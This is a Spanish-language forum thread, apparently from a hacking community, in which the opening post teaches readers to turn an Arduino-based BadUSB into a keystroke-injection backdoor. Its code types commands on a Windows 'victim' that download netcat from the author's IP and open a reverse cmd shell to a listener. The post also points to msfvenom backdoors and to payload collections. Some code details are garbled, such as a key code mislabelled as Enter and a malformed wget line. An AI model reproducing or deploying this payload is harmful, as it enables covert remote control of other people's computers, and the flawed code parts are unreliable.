Penetration testing con BadUSB

  • 4 Respuestas
  • 1315 Vistas

0 Usuarios y 3 Visitantes están viendo este tema.

Desconectado BrowserNet

  • *
  • Underc0der
  • Mensajes: 89
  • Actividad:
    0%
  • Reputación 2
  • El TioCyberPunks esta en el barco
  • Skype: browsernet
    • Ver Perfil

Penetration testing con BadUSB

  • en: Septiembre 27, 2019, 05:51:51 pm
Hola estimados hermanos de underc0de es un placer nuevamente estar con ustedes luego de 2 años de estar ausente del foro.
Un saludo grande para los administradores, moderadores y todos los usuarios en general, un fuerte abrazo para cada uno de ustedes.

En esta oportunidad les enseñare a crear sus propios Scripts para su dispositivo de Hackeo BAD USB(rubber ducky)

¿Que es Bad USB?

Bad USB es un dispositivo USB que se comporta como otro dispositivo de teclado automatizado, que permite utilizar este dispositivo de manera maliciosa para ataques de pentesting de manera local.

Características:

    Microcontroller: ATmega32u4
    Clock Speed: 16 MHz
    Operating Voltage: 5V DC
    Digital I/O Pins: 10
    PWM Channels: 4
    Analog Input Channels: 5
    UART: 1
    I2C: 1
    Micro USB: 1
    Flash Memory: 32 KB of which 4KB used by bootloader
    SRAM: 2.5 KB
    EEPROM: 1 KB
    USB ATMEGA32U4 Development Board Module For Arduino Leonardo R3[/li]

Este dispositivo se puso de "moda" en el año 2014 y hasta el día de hoy se sigue utilizando por su eficacia.

Existe un gran demanda de estos dispositivos en varias plataformas de e commerce a nivel mundial.



https://www.ebay.com/sch/i.html?_from=R40&_trksid=p2380057.m570.l1313.TR12.TRC2.A0.H0.Xbad+usb.TRS0&_nkw=bad+usb&_sacat=0

A continuación vamos a descargar el IDE Arduino.
(Dependiendo su sistema y arquitectura)

https://www.arduino.cc/en/Main/Software




Instalación:

tar -Jxf arduino-1.8.9-linux64.tar.xz
cd arduino-1.6.12/
./install.sh

Antes de comenzar a crear el script vamos a repasar un poco de arduino.

¿Qué es Arduino?

Arduino es una plataforma y, como tal, dispone de varios elementos: hardware, software y lenguaje de programación. Este libro pretende ampliar tu lenguaje de programación y, teniendo en cuenta la base que hemos visto, no necesitamos añadir más conceptos sobre electrónica y hardware, pero si sobre el IDE de Arduino.

Estructuras de control de flujo repetitivas

Este tipo de estructuras son también conocidas como «bucles»; se diferencian de las estructuras no repetitivas en que, siempre y cuando se cumpla la condición o condiciones, se ejecutan las líneas de código una y otra vez sin salir de la estructura

While

Esta estructura ejecuta las instrucciones que se encuentran entre sus llaves de apertura y cierre. ¿Cuántas veces? Se ejecutarán mientras la condición especificada se cumpla, sin ejecutarse ninguna otra línea de código que se encuentre fuera de la estructura.
while(condición)
{
//Instrucciones que se ejecutan mientras se cumpla la condición
}

Ejemplo:




Programando en Arduino

Ejemplo 1:



Ejemplo 2:



Aprende arduino aquí:
https://circuits.io/search/designs?q=el%20LED%20interno%20del%20ARDUINO

Una ves instalado el IDE Arduino, ingresamos nuestro Bad USB y buscaremos nuestra placa para poder iniciar la compilación y depuración de nuestro proyecto.



Creando nuestro Backdoor con NC en Arduino IDE

Antes de empezar a explicar un poco el  código fuente debo aclarar que la victima tiene Linux Bash Shell instalado en su sistema y aprovechare esas características para acceder al sistema.




Explicando el código fuente:

----------------------------------------------------------------------------------------------------------------------

 Keyboard.begin();
// Waiting 500ms for init
  delay(500);

  delay(3000);

  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press(114);
  Keyboard.releaseAll();
----------------------------------------------------------------------------------------------------------------------

Estamos indicando el dispositivo pulsee la tecla WINDOWS(KEY_LEFT_GUI) y dando Enter(144) en un tempo determinado de 3 segundos.

Algunas teclas expresiones de teclado:
KEY_LEFT_CTRL
KEY_LEFT_SHIFT
KEY_LEFT_ALT
KEY_LEFT_GUI
KEY_RIGHT_CTRL
KEY_RIGHT_SHIFT
KEY_RIGHT_ALT
KEY_RIGHT_GUI
KEY_UP_ARROW
KEY_DOWN_ARROW
KEY_LEFT_ARROW
KEY_RIGHT_ARROW
KEY_BACKSPACE
KEY_TAB
KEY_RETURN
KEY_ESC
KEY_INSERT
KEY_DELETE
KEY_PAGE_UP
KEY_PAGE_DOWN
KEY_HOME
KEY_END
KEY_CAPS_LOCK
KEY_F1
KEY_F2
KEY_F3
KEY_F4
KEY_F5
KEY_F6
KEY_F7
KEY_F8
KEY_F9
KEY_F10
KEY_F11
KEY_F12

Equivalencias de otras unidades de tiempo en milisegundos

Un centisegundo equivale a 10 milisegundos.
Un decisegundo equivale a 100 milisegundos.
Un segundo equivale a 1000 milisegundos.
Un minuto equivale a 60 000 milisegundos.
Una hora equivale a 3 600 000 milisegundos.
Un día equivale a 86 400 000 milisegundo
----------------------------------------------------------------------------------------------------------------------
 delay(500);
 Keyboard.print("cmd");
 delay(500);
 typeKey(KEY_RETURN);
 delay(500);
 Keyboard.print("wget 192.168.0.4&nc64.exe");
 typeKey(KEY_RETURN);
 delay(50);
 Keyboard.print("START nc64.exe 192.168.0.4 8888 /e cmd.exe /d & exit");
 typeKey(KEY_RETURN); 
 delay(500);
 Keyboard.print("exit");
 typeKey(KEY_RETURN);   
}
----------------------------------------------------------------------------------------------------------------------

Keyboard.print - Aquí añadiremos los valores que deseamos digitar de manera automatizada
typeKey(KEY_RETURN) - Boton Enter.

como podemos ver en el código anterior estoy indicando que descargue un ejecutable NC.exe con la dirección IP y el puerto de escucha de mi ordenador, una ves que se conecte me abrirá el CMD de nuestra victima.

Ejecutamos Netcat en nuestro ordenador para la conexión.

Código: [Seleccionar]
[email protected]:~# nc -l -p 8888
Ahora ingresamos el USB en la PC de nuestra victima para realizar nuestra prueba de concepto.



Reverse Shell CMD



De manera automatizada hemos conseguido acceder al sistema de nuestra victima.
No obstante también pueden subir un backdoor .exe de msfvenom y listo.

Les dejo algunos scripts que pueden utilizar para sus pruebas de concepto:
https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads

Existen herramientas que automatizan los payloads , pero quise hacer este articulo para que comprendas la estructura de un Payload en Arduino.

Saludos.


« Última modificación: Septiembre 27, 2019, 05:54:56 pm por BrowserNet »

Desconectado DevMexos

  • *
  • Underc0der
  • Mensajes: 12
  • Actividad:
    0%
  • Reputación 1
  • Comiendo tutucas desde el palco.
    • Ver Perfil
    • Email

Re:Penetration testing con BadUSB

  • en: Noviembre 07, 2019, 10:08:39 am
Muy bueno  ;D! a favs para cuando al fin pueda conseguir mi ducky... Recomendas algun vendedor en particular? Saludos!
« Última modificación: Noviembre 07, 2019, 10:11:12 am por DevMexos »
No podemos resolver problemas pensando de la misma manera que cuando los creamos.

Conectado Bartz

  • *
  • Moderador Global
  • Mensajes: 207
  • Actividad:
    60%
  • Reputación 8
  • ~Afaik~
    • Ver Perfil

Re:Penetration testing con BadUSB

  • en: Noviembre 07, 2019, 03:54:40 pm
Gracias por el aporte ! Se ve muy bien !

Te consulto, que es lo que me tengo que fijar a la hora de comprar un USB para que sirva como badusb ?


Con la fuerza del mar, con la paz del rio


Desconectado 79137913

  • *
  • Co Admin
  • Mensajes: 690
  • Actividad:
    33.33%
  • Reputación 16
  • 4 Esquinas
  • Skype: [email protected]
    • Ver Perfil
    • Doors.Party
    • Email

Re:Penetration testing con BadUSB

  • en: Noviembre 08, 2019, 09:14:11 am
HOLA!!!

Gracias por el aporte ! Se ve muy bien !

Te consulto, que es lo que me tengo que fijar a la hora de comprar un USB para que sirva como badusb ?

Yo tengo varios te doy uno si queres

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scouts Team*                                                   DOORS.PARTY

Conectado Bartz

  • *
  • Moderador Global
  • Mensajes: 207
  • Actividad:
    60%
  • Reputación 8
  • ~Afaik~
    • Ver Perfil

Re:Penetration testing con BadUSB

  • en: Noviembre 08, 2019, 09:51:50 am
HOLA!!!

Gracias por el aporte ! Se ve muy bien !

Te consulto, que es lo que me tengo que fijar a la hora de comprar un USB para que sirva como badusb ?

Yo tengo varios te doy uno si queres

GRACIAS POR LEER!!!

Gracias Numeros ! (Y)


Con la fuerza del mar, con la paz del rio


 

HCON Seguridad Testing Framework (HconSTF) V0.4

Iniciado por 0x32

Respuestas: 0
Vistas: 2313
Último mensaje Noviembre 15, 2012, 10:55:40 pm
por 0x32
OWASP Testing Guide

Iniciado por Stuxnet

Respuestas: 0
Vistas: 7616
Último mensaje Octubre 21, 2014, 10:40:00 pm
por Stuxnet
Digispark BADUSB, teclado español LATAM y español España | RubberDucky barato

Iniciado por illumiNatty

Respuestas: 0
Vistas: 2785
Último mensaje Mayo 31, 2019, 04:57:43 pm
por illumiNatty
Brutal - BadUSB

Iniciado por puntoCL

Respuestas: 1
Vistas: 3433
Último mensaje Noviembre 23, 2016, 12:20:52 am
por HckH3x
Hakku Framework - Simple Penetration Testing Framework

Iniciado por HATI

Respuestas: 0
Vistas: 2617
Último mensaje Enero 01, 2017, 03:34:17 pm
por HATI